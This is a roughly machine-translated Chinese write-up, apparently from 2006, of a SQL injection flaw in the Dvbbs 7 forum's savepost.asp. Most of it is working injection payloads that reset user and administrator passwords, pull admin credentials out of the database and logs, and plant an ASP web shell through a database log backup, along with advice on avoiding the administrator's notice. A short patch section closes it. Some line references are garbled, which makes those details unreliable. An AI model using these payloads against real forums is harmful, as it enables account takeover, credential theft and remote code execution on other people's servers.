I. Overview
Vulnerability description:
| Http://coolersky.com/leak/programme/bbs/2006/0515/515.html |
A few days ago, I heard Hak_Ban say that someone has released a dvbbs7 injection vulnerability and has never had time to look at it. In the afternoon, I asked Edward for a link:
| Http://www.eviloctal.com/forum/read.php? Tid = 22074 |
This site post is:
| Http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html |
I looked at the analysis of the dust and felt that I had already understood the analysis. However, some of my friends in the group did not quite understand it. I simply tested the vulnerability in a local environment. Thanks to the keng provider, haha, I am too lazy to go online.
Ii. Vulnerability Analysis
Since it is a problem with the savepost. asp program, open the file to be modified. The variable is used as a reference when ToolsBuyUser parameter filtering is insufficient.
Row 32 defines the variables:
| Private GetPostType, ToMoney, UseTools, ToolsBuyUser, GetMoneyType, Tools_UseTools, Tools_LastPostTime, ToolsInfo, ToolsSetting |
111 rows, left empty
Row 3: assign a value when the GetPostType parameter is 0.
| ToolsBuyUser = "0 | $ SendMoney" |
Row 123, assigned a value when the GetPostType parameter is 1.
| ToolsBuyUser = "0 | $ GetMoney" |
Row 139, assigned a value when the GetPostType parameter is 2.
| ToolsBuyUser = "0 @" & Buy_Orders & "@" & Buy_VIPType & "@" & Buy_UserList & "| $ PayMoney |" |
Row 3 defines the SQL
| SQL = "insert into" & TotalUseTable & "(Boardid, ParentID, username, topic, body, DateAndTime, length, RootID, layer, orders, ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID, isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser, GetMoneyType) values ("& Dvbbs. boardid & "," & ParentID & ", '" & username & "', '" & topic & "', '" & Content &"', '"& DateTimeStr &"', '"& Dvbbs. strlength (Content) & "'," & RootID & "," & ilayer & "," & iorders & ",'" & Dvbbs. userTrueIP & "','" & Expression (1) & "'," & locktopic & "," & signflag & "," & mailflag & ", 0," & Dvbbs. userid & "," & ihaveupfile & "," & IsAudit & ", '" & UbblistBody & "'," & ToMoney & ", '" & UseTools &"', '"& ToolsBuyUser &"', "& GetMoneyType &")" |
Line 2: Execute SQL
We can see that the ToolsBuyUser parameter is not filtered securely throughout the process of obtaining data and submitting it, leading to the SQL injection vulnerability.
Iii. Exploitation of Vulnerabilities
1. Registered User coolersky
2. Choose to publish a new topic.
3. Select "Forum transaction post Settings" in "select post type"
4. Write in "purchase user name order restrictions :"
'Change your user password to 123456
Coolersky ', 0); update dv_user set userpassword = '49ba59abbe56e057' where username = 'coolersky ';-- |
After the password is changed, log on to the Forum again. If logon is successful with 123456, the vulnerability has not been fixed.
5. Obtain the username and password of the front-end administrator, and place them in the custom avatar and signature respectively. You can see the basic information of the user coolersky.
| Coolersky ', 0); update dv_user set userface = (select top 1 username from dv_user where userclass = 'admin '), usersign = (select top 1 userpassword from dv_user where userclass = 'admin') where username = 'coolersky ';-- |
6. Obtain the username and password of the background administrator.
| Coolersky ', 0); update dv_user set userface = (select top 1 username from dv_admin), usersign = (select top 1 password from dv_admin) where username = 'coolersky ';-- |
7. view the background management password through Logs
| Coolersky ', 0); update dv_user set usersign = (select l_content from dv_log where l_content like' % password2 % ') where username = 'coolersky ';-- |
8. Obtain the Database Name
| Coolersky ', 0); update dv_user set userface = (select db_name () where username = 'coolersky ';-- |
9. Differential log backup webshell
'Replace dbname with the database name obtained in the previous step. db_owner permission is required for differential log backup!
'Replace d: \ web \ dvbbs7 \ with the physical path of the current forum. Don't ask me how to get it!
Coolersky ', 0); alter database dbname set recovery full; create table temptt (a image); backup log dbname to disk = 'C: \ acol_back' with init; insert into temptt (a) values ('<% execute request ("l") %>'); backup log dbname to disk = 'd: \ web \ dvbbs7 \ temptt. asp '; drop table temptt; alter database dbname set recovery simple ;-- |
Or
| Coolersky ', 0); alter database dbname set recovery full; create table temptt (a image); backup log dbname to disk = 'C: \ acol_back' with init; insert into temptt (a) values (0x273c2565786563757213201095717565737428226c2229253e27); backup log dbname to disk = 'd: \ web \ dvbbs7 \ temptt. asp '; drop table temptt; alter database dbname set recovery simple ;-- |
Use the minimal asp Trojan client to connect!
10. directly change the Administrator Password
In Steps 5, 6, and 7, you can obtain the username and password of the Administrator's front-end and back-end. The password must be at least 16-bit md5. You can obtain the administrator password through network query or brute-force cracking to log on to the front-end and back-end, however, it is likely that the export order cannot be cracked.
If you cannot obtain the physical path of the forum, You have to modify the administrator password. Of course, do not change the administrator password or try to avoid modification, otherwise, the Administrator will immediately know the intrusion.
(1) obtain the front-end administrator username:
| Coolersky ', 0); update dv_user set userface = (select top 1 username from dv_user where userclass = 'admin') where username = 'test ';-- |
(2) modify the front-end administrator password:
'Assume that we have obtained the admin username for the front-end administrator and changed the password to 123456.
Coolersky ', 0); update dv_user set userpassword = '49ba59abbe56e057' where username = 'admin ';-- |
(3) obtain the username of the background administrator:
| Coolersky ', 0); update dv_user set userface = (select top 1 username from dv_admin) where username = 'test ';-- |
(4) modify the background administrator password:
'Assume that we have obtained the admin username for the background administrator and changed the password to 123456.
Coolersky ', 0); update dv_admin set password = '49ba59abbe56e057' where username = 'admin ';-- |
(5) log on to the front-end and upload an asp backdoor constructed by mdb. The back-end is an asp or asa file. The operations are not described in this document.
Through the above operations, as long as the server supports multiple statements, we can perform more operations on the database.
Iv. Vulnerability repair
1. download the latest patch from dvbbs
| Http://bbs.dvbbs.net/dispbbs.asp? BoardID = 8 & ID = 1187367 & page = 1 |
2. Open the savepost. asp file and set 747 rows
| SQL = "insert into" & TotalUseTable & "(Boardid, ParentID, username, topic, body, DateAndTime, length, RootID, layer, orders, ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID, isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser, GetMoneyType) values ("& Dvbbs. boardid & "," & ParentID & ", '" & username & "', '" & topic & "', '" & Content &"', '"& DateTimeStr &"', '"& Dvbbs. strlength (Content) & "'," & RootID & "," & ilayer & "," & iorders & ",'" & Dvbbs. userTrueIP & "','" & Expression (1) & "'," & locktopic & "," & signflag & "," & mailflag & ", 0," & Dvbbs. userid & "," & ihaveupfile & "," & IsAudit & ", '" & UbblistBody & "'," & ToMoney & ", '" & UseTools &"', '"& ToolsBuyUser &"', "& GetMoneyType &")" |
To:
| SQL = "insert into" & TotalUseTable & "(Boardid, ParentID, username, topic, body, DateAndTime, length, RootID, layer, orders, ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID, isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser, GetMoneyType) values ("& Dvbbs. boardid & "," & ParentID & ", '" & username & "', '" & topic & "', '" & Content &"', '"& DateTimeStr &"', '"& Dvbbs. strlength (Content) & "'," & RootID & "," & ilayer & "," & iorders & ",'" & Dvbbs. userTrueIP & "','" & Expression (1) & "'," & locktopic & "," & signflag & "," & mailflag & ", 0," & Dvbbs. userid & "," & ihaveupfile & "," & IsAudit & ", '" & UbblistBody & "'," & ToMoney & ", '" & UseTools &"', '"& dvbbs. checkstr (ToolsBuyUser) & "'," & GetMoneyType &")" |
Use the dvbbs. checkstr function to filter ToolsBuyUser content.